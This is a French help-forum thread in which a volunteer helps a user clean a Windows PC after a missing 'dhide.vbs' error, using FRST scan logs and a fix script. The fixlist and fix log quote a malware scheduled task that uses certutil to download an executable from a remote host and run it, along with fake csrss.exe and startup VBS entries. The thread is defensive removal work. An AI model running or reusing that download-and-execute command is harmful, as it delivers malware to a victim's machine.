windows ne trouve pas le fichier dhide.vbs Résolu/Fermé

Question

Bonjour, 

Merci de prendre le temps de lire ma requête et de m'aider. 
Après l'ouverture de ma session une fenêtre de dialogue apparait "windows ne trouve pas le fichier dhide.vbs" 
je vous suis extrêmement reconnaissante de me porter assistance.


Très bonne journée

Malekal_morte- · Answer

Salut,


Pour vérifier ton ordinateur, pour d'éventuels infections et avoir un état général du système :

Suis le tutoriel FRST en cliquant sur ce lien bleu. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 
Attendre la fin du scan, un message indique que l'analyse est terminée.

Trois rapports FRST seront générés :

 FRST.txt
 Shortcut.
 Additionnal.txt

Envoie ces 3 rapports sur le site https://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

(Les liens bleus mènent à des tutoriels explicatifs pas à pas, clic dessus pour avoir les instructions plus précises à suivre).

Malekal_morte- · Answer

Tu as bien infecté ton ordi, surement à la suit d'un crack. A désinstaller : CCleaner CyberLink CCleaner n'est pas vraiment utile, même si on le recommande de partout. Si tu veux le garder, désactive la surveillance de CCleaner, inutile, ça se met au démarrage de Windows et le ralentit avec ces nettoyages incessants, voir : https://www.malekal.com/supprimer-ccleaner-demarrage-windows/ Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran. Ouvre le bloc-notes : Touche Windows + R, Dans le champs "Exécuter", saisir notepad et OK. Copie/Colle dedans ce qui suit : CreateRestorePoint:HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [UpdateAdmin] => C:\Users\7 Pro\AppData\Local\UpdateAdmin\UpdateAdmin.exe [236960 2016-08-11] ()2018-12-20 10:09 - 2018-12-20 10:09 - 000003488 _____ C:\Windows\System32\Tasks\ScheduledUpdate2018-12-20 10:09 - 2018-12-20 10:09 - 000003186 _____ C:\Windows\System32\Tasks\csrss2018-12-20 10:08 - 2018-12-20 10:08 - 000000000 ___HD C:\Windows ssTask: {3D9FDEE2-D740-4874-AF2B-E0A1452E6732} - System32\Tasks\csrss => C:\Windows ss\csrss.exe [2018-12-20] () <==== ATTENTIONTask: {678165F7-8397-4B04-A2A9-872382AEF31E} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://monopeets.com/app/app.exe C:\Users\7 Pro\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\7 Pro\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTIONTask: {6ED759F5-F37A-4847-BC42-9A0CE46A23B8} - \AutoKMS -> Pas de fichier <==== ATTENTIONTask: {A2ED5519-C23B-4D0D-8799-E2865794309E} - System32\Tasks\UpdateAdmin => C:\Users\7 Pro\AppData\Local\UpdateAdmin\UpdateAdmin.exe [2016-08-11] () <==== ATTENTIONHKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [SparklingMorning] => C:\Windows ss\csrss.exe [4320256 2018-12-20] () <==== ATTENTIONHKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [CloudNet] => C:\Users\7 Pro\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-12-20] (EpicNet Inc.) <==== ATTENTIONStartup: C:\Users\7 Pro\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup vidia_cryptex_hd.vbs.lnk [2017-04-14]ShortcutTarget: nvidia_cryptex_hd.vbs.lnk -> C:\Users\7 Pro\AppData\Roaming\AppData vidia_cryptex_hd.vbs () Hosts:EmptyTemp:RemoveProxy:Reboot: Une fois, le texte collé dans le Bloc-notes, Menu "Fichier" puis "Enregistrer sous", A gauche, place toi sur le Bureau, Dans le champs en bas, nom du fichier mets : fixlist.txt Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau. Relance FRST et clique sur le bouton "Corriger / Fix" Un redémarrage sera peut-être nécessaire ( pas obligatoire ) Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message. Redémarre l'ordinateur. 2°) Réinitialise/Répare les navigateurs WEB concernés par les problèmes : Réparer Mozilla Firefox (premier paragraphe) Réparer Google Chrome (seulement le premier paragraphe). Réinitialiser et réparer Internet Explorer 3°) Termine par un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

Naci · Answer

Bonne Année, et merci pour vos réponses, voila le texte : Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 29.12.2018 Exécuté par 7 Pro (01-01-2019 01:44:16) Run:1 Exécuté depuis C:\Users\7 Pro\Desktop Profils chargés: 7 Pro (Profils disponibles: 7 Pro) Mode d'amorçage: Normal ============================================== fixlist contenu: CreateRestorePoint: HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [UpdateAdmin] => C:\Users\7 Pro\AppData\Local\UpdateAdmin\UpdateAdmin.exe [236960 2016-08-11] () 2018-12-20 10:09 - 2018-12-20 10:09 - 000003488 _____ C:\Windows\System32\Tasks\ScheduledUpdate 2018-12-20 10:09 - 2018-12-20 10:09 - 000003186 _____ C:\Windows\System32\Tasks\csrss 2018-12-20 10:08 - 2018-12-20 10:08 - 000000000 ___HD C:\Windows ss Task: {3D9FDEE2-D740-4874-AF2B-E0A1452E6732} - System32\Tasks\csrss => C:\Windows ss\csrss.exe [2018-12-20] () <==== ATTENTION Task: {678165F7-8397-4B04-A2A9-872382AEF31E} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://monopeets.com/app/app.exe C:\Users\7 Pro\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\7 Pro\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION Task: {6ED759F5-F37A-4847-BC42-9A0CE46A23B8} - \AutoKMS -> Pas de fichier <==== ATTENTION Task: {A2ED5519-C23B-4D0D-8799-E2865794309E} - System32\Tasks\UpdateAdmin => C:\Users\7 Pro\AppData\Local\UpdateAdmin\UpdateAdmin.exe [2016-08-11] () <==== ATTENTION HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [SparklingMorning] => C:\Windows ss\csrss.exe [4320256 2018-12-20] () <==== ATTENTION HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\...\Run: [CloudNet] => C:\Users\7 Pro\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-12-20] (EpicNet Inc.) <==== ATTENTION Startup: C:\Users\7 Pro\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup vidia_cryptex_hd.vbs.lnk [2017-04-14] ShortcutTarget: nvidia_cryptex_hd.vbs.lnk -> C:\Users\7 Pro\AppData\Roaming\AppData vidia_cryptex_hd.vbs () Hosts: EmptyTemp: RemoveProxy: Reboot: Le Point de restauration a été créé avec succès. "HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\Software\Microsoft\Windows\CurrentVersion\Run\UpdateAdmin" => supprimé(es) avec succès C:\Windows\System32\Tasks\ScheduledUpdate => déplacé(es) avec succès C:\Windows\System32\Tasks\csrss => déplacé(es) avec succès "C:\Windows ss" dossier déplacer: Impossible de déplacer "C:\Windows ss" => Planifié pour déplacement au redémarrage. "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{3D9FDEE2-D740-4874-AF2B-E0A1452E6732}" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{3D9FDEE2-D740-4874-AF2B-E0A1452E6732}" => supprimé(es) avec succès "C:\Windows\System32\Tasks\csrss" => non trouvé(e) "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\csrss" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{678165F7-8397-4B04-A2A9-872382AEF31E}" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{678165F7-8397-4B04-A2A9-872382AEF31E}" => supprimé(es) avec succès "C:\Windows\System32\Tasks\ScheduledUpdate" => non trouvé(e) "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ScheduledUpdate" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot\{6ED759F5-F37A-4847-BC42-9A0CE46A23B8}" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6ED759F5-F37A-4847-BC42-9A0CE46A23B8}" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\AutoKMS" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{A2ED5519-C23B-4D0D-8799-E2865794309E}" => supprimé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A2ED5519-C23B-4D0D-8799-E2865794309E}" => supprimé(es) avec succès C:\Windows\System32\Tasks\UpdateAdmin => déplacé(es) avec succès "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\UpdateAdmin" => supprimé(es) avec succès "HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\Software\Microsoft\Windows\CurrentVersion\Run\SparklingMorning" => supprimé(es) avec succès "HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet" => supprimé(es) avec succès C:\Users\7 Pro\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup vidia_cryptex_hd.vbs.lnk => déplacé(es) avec succès C:\Users\7 Pro\AppData\Roaming\AppData vidia_cryptex_hd.vbs => déplacé(es) avec succès C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès Hosts restauré(es) avec succès. ========= RemoveProxy: ========= "HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings" => supprimé(es) avec succès "HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings" => supprimé(es) avec succès "HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings" => supprimé(es) avec succès "HKU\S-1-5-21-3309935924-4281979646-3212623457-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings" => supprimé(es) avec succès ========= Fin de RemoveProxy: ========= =========== EmptyTemp: ========== BITS transfer queue => 8388608 B DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 8467803 B Java, Flash, Steam htmlcache => 1108 B Windows/system/drivers => 562613 B Edge => 0 B Chrome => 30075762 B Firefox => 0 B Opera => 412189450 B Temp, IE cache, history, cookies, recent: Users => 0 B Default => 0 B Public => 0 B ProgramData => 0 B systemprofile => 18129 B systemprofile32 => 8264866 B LocalService => 132244 B NetworkService => 692 B 7 Pro => 10787260 B RecycleBin => 0 B EmptyTemp: => 456.7 MB données temporaires supprimées. ================================ Résultats du déplacement planifié des fichiers (Mode d'amorçage: Normal) (Date&Heure: 01-01-2019 01:46:54) C:\Windows ss => a été déplacé(e) avec succès Fin de Fixlog 01:46:54

Malekal_morte- · Answer

change tes mots de passe au cas où ils ont été volés.
Fais un nettoyage Malwarebytes ces prochains jours.

Supprime le dossier C:\FRST

Windows ne trouve pas le fichier dhide.vbs

4 réponses

Fin de Fixlog 01:46:54

Discussions similaires